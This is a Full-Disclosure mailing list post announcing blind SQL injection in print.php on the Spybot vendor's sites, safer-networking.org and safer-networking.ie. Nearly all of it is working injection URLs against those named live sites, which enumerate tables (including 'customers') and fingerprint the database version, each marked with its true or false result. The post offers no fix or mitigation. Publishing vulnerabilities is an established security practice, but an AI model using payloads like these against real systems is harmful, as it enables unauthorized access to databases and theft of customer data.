[Full-disclosure] Safer-networking.org: (Spybot) Vulnerable to Blind SQLi by VMw4r3

[VMw4r3 <vmw4r3@xxxxxxxx>]

Safer-networking.org: (Spybot) Vulnerable to Blind SQLi by VMw4r3

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20INFORMATION_SCHEMA.TABLES%20limit%200,1%29=1
 <-- true

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20faq%20limit%200,1%29=1
 <-- true

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20customers%20limit%200,1%29=1
 <-- false

Safer-networking.ie also Vulnerable to Blind SQLi

http://www.safer-networking.ie/print.php?lang=en%20and%20substring%28@@version,1,1%29=4
 <-- false

http://www.safer-networking.ie/print.php?lang=en%20and%20substring%28@@version,1,1%29=5
 <-- true

http://img263.imageshack.us/img263/267/spybotfalse.png
http://img705.imageshack.us/img705/7976/spybottrue.png

VMw4r3

Send instant messages to your online friends http://uk.messenger.yahoo.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/